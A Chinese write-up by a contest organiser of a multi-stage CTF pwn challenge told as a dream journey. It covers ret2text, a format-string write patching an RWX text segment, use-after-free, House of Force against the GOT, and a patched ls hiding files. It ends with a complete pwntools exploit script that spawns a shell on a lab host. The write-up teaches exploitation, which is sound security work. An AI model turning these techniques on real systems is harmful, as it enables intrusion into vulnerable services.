本题由春秋GAME伽玛实验室设计,赛后将该题的设计思路公开,供大家学习交流。
00 楔子
深入梦境,你会发现,一切事物都在不断循环,随着梦境的加深,时间也变得缓慢。
本题考点如下:
1. city:linux命令使用
2. hotel:栈溢出,ret2text
3. snow:格式化字符串,任意地址写,.text 段RWX
4. home:UAF
5. world:House of force
6. final:隐藏文件分析
01 进入梦境
题目通过nc连接获得一个shell。
02 梦的开始
第一层梦境,你看到所有建筑都在眼前,但你却无法靠近,这时你使用“pwntools+cat命令”获得了梦中的地图。
03 city
你来到城市中,想找人寻求帮助,想知道究竟发生了什么,但偌大的城市,街道空无一人,你“无可奈何”,却意外获得名为next的通行证,通过它你可以进入hotel建筑中进行探索(当前用户是city用户,无法进入hotel目录)。
04 hotel
“栈溢出”,你这时掌握了第一个技能,通过“栈溢出”来执行旅馆的后门函数,获取该旅馆的权限,你拿到了旅馆的通行证。
ret2text:栈中保存了函数调用时的返回地址。溢出的目的就是要将栈中保存的返回地址篡改成溢出的数据,这样就间接修改了函数的返回地址,当函数返回时,就能跳转到预设的地址中,执行植入的代码。hotel程序本身存在可以利用的片段system(“/bin/bash”),可以直接将返回地址覆盖为system(“/bin/bash”)的地址 。
hotel_backdoor = 0x4006B6
sla('you?n',b'a'*0x38+p64(hotel_backdoor))
sla('you!','./next')
05 snow
茫茫天地孤身一人,雪虐风饕,寒冷和孤独在摧残着你,你在这雪中漫无目的地行走,渴望找到一点帮助,一丝温暖;终于你忍不住倒下了,你想“就这么算了”。
这时你突然看到前方雪地中出现一个石碑,上面刻着“%”符号。“格式化字符串”,你获得第二项能力,在石碑上刻上特定的字符便可以走出这片雪地。
格式化字符串漏洞:程序使用了格式化字符串作为参数,并且格式化字符串为用户可控。其中触发格式化字符串漏洞函数主要是printf、sprintf,fprintf等C库中print家族的函数。printf函数的第一个参数是由格式化说明符与字符串组成,用来规定参数用什么格式输出内容。根据cdecl的调用约定,在进入printf()函数之前,程序将参数从右往左依次压栈,函数首先获取第一个参数,如果字符不是“%”,那么字符被复制到输出,否则,读取下一个非空字符,获取相应的参数并解析输出。
使用checksec、010edit、ida发现,存在一个rwx的段,经过分析,发现是text段存在rwx。
所以可以利用fmt的任意地址写,强制修改main函数的汇编代码,将 0x4008b0 处的 mov eax,0 更改为 jmp 0x4008b7,只需要改动2个字节x05xeb
,也就是1515(十进制)。
sla('you?n',b'%1515c%43$naaaa')
sla('you!','./next')
06 home
通过“栈”和“格式化字符串”结合,你终于走出雪地的一瞬间昏倒,睁眼时你在一个房间中醒来。柔软温暖的床垫让你忘掉刚才的寒冷,你起身开门来到走廊,发现了无数个房门伴随着无限的走廊向前延伸。你后头发现你刚刚走出的房间已经消失,伴随着的是一块完整的墙壁。你在这无限延伸的走廊中先前走着,重复着开门关门的动作,同样的房间内容,同样的房门关闭后变成墙壁,你感到麻木,不知道你走了多久,你感到“厌烦无奈”;这时你获得第三项技能“Use After Free”。通过该技能,你知道房间生成是有规律的,“消失的房间又生成”成为了关键。
UAF:Use After Free 就是当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
· 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
· 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
· 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
这里拿源码来讲解一下。
触发free之后,因为descs[i]->room
就会为0(因为放到fastbin里面了),接着如果继续进入这个房间,会触发malloc函数,这样会重新申请出释放到fastbin中的chunk。导致了双指针引用,此时name == descs[i] == descs[i]->str
,可以往name里写入内容覆盖descs[i]->print
函数指针。
07 gamma world
在无限的走廊里,你通过”Use After Free”技能,合理开关房门获得走廊的权限。
最后进入world程序,是一个house of force
,只有一开始有一个堆溢出刚好可以覆盖top_chunk,其他的部分都是正常无漏洞的代码。
house of force:The Malloc Maleficarum,是一种通过攻击top chunk获取某块内存区域控制权的技术。可以利用程序漏洞(如堆溢出)把top chunk的size域修改成一个很大的数。以欺骗libc在请求一块很大的空间(略小于size)时能够使用top chunk来进行分配,top chunk的地址加上请求空间的大小,造成了整型溢出,使top chunk被转移到内存中的低地址区域(如.bss段、.data段、GOT表等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。
1. 覆盖top chunk,修改为 -1
2. 将大部分got表中的函数都执行一次,以便写入真实地址
3. 使用 house of force ,将 top chunk 迁移到 got 区域
4. 将free.got替换为text中的 puts-ret gadget,这样就可以leak地址了
5. 覆盖bss中的create_lock,使得我们可以继续执行一次覆盖top_chunk的操作。
6. 重新覆盖got中的free函数为system函数,最后触发system('/bin/sh')
08 life or death
death 则是一个软连接。
因为ls经过简单的patch,去除了显示隐藏文件的功能,所以ls -al
也不会显示隐藏的文件。可以使用cat测试隐藏文件,发现存在...
目录。
在 Linux 里以点 (.) 开头的文件非常特别,被称为隐藏文件。它们通常是隐藏的配置文件或系统文件。
尝试使用cat命令来获取文件名与内容,获取flag。
09 突破
最后整理出的exp脚本:
#!/usr/bin/python3
from pwn import *
sd=lambda x:p.send(x)
sl=lambda x:p.sendline(x)
sda=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
ru=lambda x:p.recvuntil(x)
rv=lambda x:p.recv(x)
io=lambda :p.interactive()
ps=lambda :pause()
context.log_level = 'debug'
i64_max = (1<<64)-1
p = remote('192.168.99.133','10006')
libc = ELF('./libc-2.23.so')
# level 1
sla('(y/n)','y')
sl('./next')
# level 2
hotel_backdoor = 0x4006B6
sla('you?n',b'a'*0x38+p64(hotel_backdoor))
sla('you!','./next')
# level 3
# x05xeb
# jmp $5
sla('you?n',b'%1515c%43$naaaa')
sla('you!','./next')
# level 4
sla('go?n','bedroom')
sla('go?n','bedroom')
sda('name: ',b'ax00'*8 + p64(0x400896))
sla('go?n','a')
sl('./next')
# level 5
def add(size, name, ac = True):
if type(name) == str:
name = name.encode()
payload = 'create ' + str(size) + ' '
payload = payload.encode() + name
if ac:
sla('accept',payload)
else:
sl(payload)
def free(name, ac = True):
if type(name) == str:
name = name.encode()
payload = b'destory ' + name
if ac:
sla('accept',payload)
else:
sl(payload)
sla('?n','create')
ru('address is: ')
heap_address = int(ru('n'),16)
print('heap_address: ', hex(heap_address))
sda('name: ',b'a'*0xf8 + p64(i64_max))
# padding
add(0x18, 'aaa', False)
add(0x18, 'bbb')
add(0x18, 'ccc')
add(0x18, 'ddd')
add(0x18, 'eee')
free('ccc')
free('aaa')
add(0x18, 'aaa')
free_got = 0x602018
# house of force
add(str(free_got - heap_address - 0x100 - 0x80 - 0x18 - 0xc0), 'bbbb')
free('ddd')
free('aaa')
magic_addr = 0x4010CF
# overflow free
add(0x88,b'a'*8+p64(magic_addr).replace(b'x00',b't')[:-1])
add(0x28,b'a'*0x10)
# overflow world_core and overwrite objs
sl('create')
sla('name: ',p64(0) + p32(0) + p32(2) + p64(0x6020e0) + p64(0x602030) + b'x00' * (0xf8-0x20) + p64(i64_max))
free('world',False)
ru('world.n')
puts_address = u64(rv(6)+b'x00x00')
libc.address = puts_address - libc.sym['puts']
print('libc->',hex(libc.address))
sys = libc.sym['system']
sh = next(libc.search(b'/bin/sh'))
add(str(free_got - 0x6021c0 - 0x20),'cccc', False)
ones = [0x45216,0x4526a,0xf02a4,0xf1147]
one = libc.address + ones[3]
add(0x88,b'a'*8+p64(sys).replace(b'x00',b't')[:-1])
add(0x18,b'/bin/shx00')
free('world',False)
sl('./next')
ru('world!n')
sl('cat .../.really_flag')
io()
10 结语
在开始设计题目时,就想着能否将“盗梦空间”不同梦境层次和“神秘博士拯救克拉拉”的剧情结合在一起,所以采用了上述的构思方案。在最后的death目录时,最早想着要是能够使环境切换到最开始的city目录,并把flag放置在最开始的目录,将会是一种很好玩的策略,最后因为各种限制条件,还是放弃了这种方案。
另外在制作snow题目的时候,发现代码被gcc自动优化了(本来main函数中还有一个vuln函数,函数中包括格式化字符串漏洞),所有的代码流程全部被集成在了main函数里面,这样就无法通过一次的fmt劫持返回地址到后门函数。本着代码能够写出来就尽量不要改动的原则,就思考能不能有其他比较好玩的解决方法,然后就有了直接修改.text段的这种路线~
梦最终都是虚假的,正如梦中的生门,看起来里面有非常多的flag,如果觉得真正的flag就藏在里面,仔细寻找的话,就会迷失在梦境里面,永远无法回归现实。但如果选择死门,看似毫无头绪,但是你会从中发现梦境的瑕疵点,突破永恒的梦境。
本题已上线竞赛训练营
https://www.ichunqiu.com/competition
其他题目writeup也将陆续更新
请关注【春秋伽玛】公众号
这里有竞赛,有交流,有活动,有联动。多种玩法,丰富的参与形式,如果你在秋季赛意犹未尽,如果你还没找到属于自己的舞台,赶紧加入春秋杯赛事宇宙吧!“公平、进步、纯粹”的春秋杯,永远值得期待!
未来我们将坚持春秋杯的初心“公平、进步、纯粹”,让“春秋杯”赛事宇宙的版图继续蔓延。始终坚定的定义网络安全赛事新标准,凝聚网络安全新社区,构建CTF新生态的使命。春秋杯赛事宇宙持续向你发出信号! 在这里无论你是热爱竞技的CTFer,还是各行业网络安全的从业者。无论你以哪种身份:选手、高校、企业、媒体,爱好者……参与,我们都真诚的欢迎你加入,成为春秋杯宇宙中独特有能量的星球。我们互相连接,凝聚更大的能量,共同打造一个无限想象、更加多元的赛事宇宙。
原文始发于微信公众号(春秋伽玛):【WP】春秋杯秋季赛“PWN梦空间”|设计思路与解析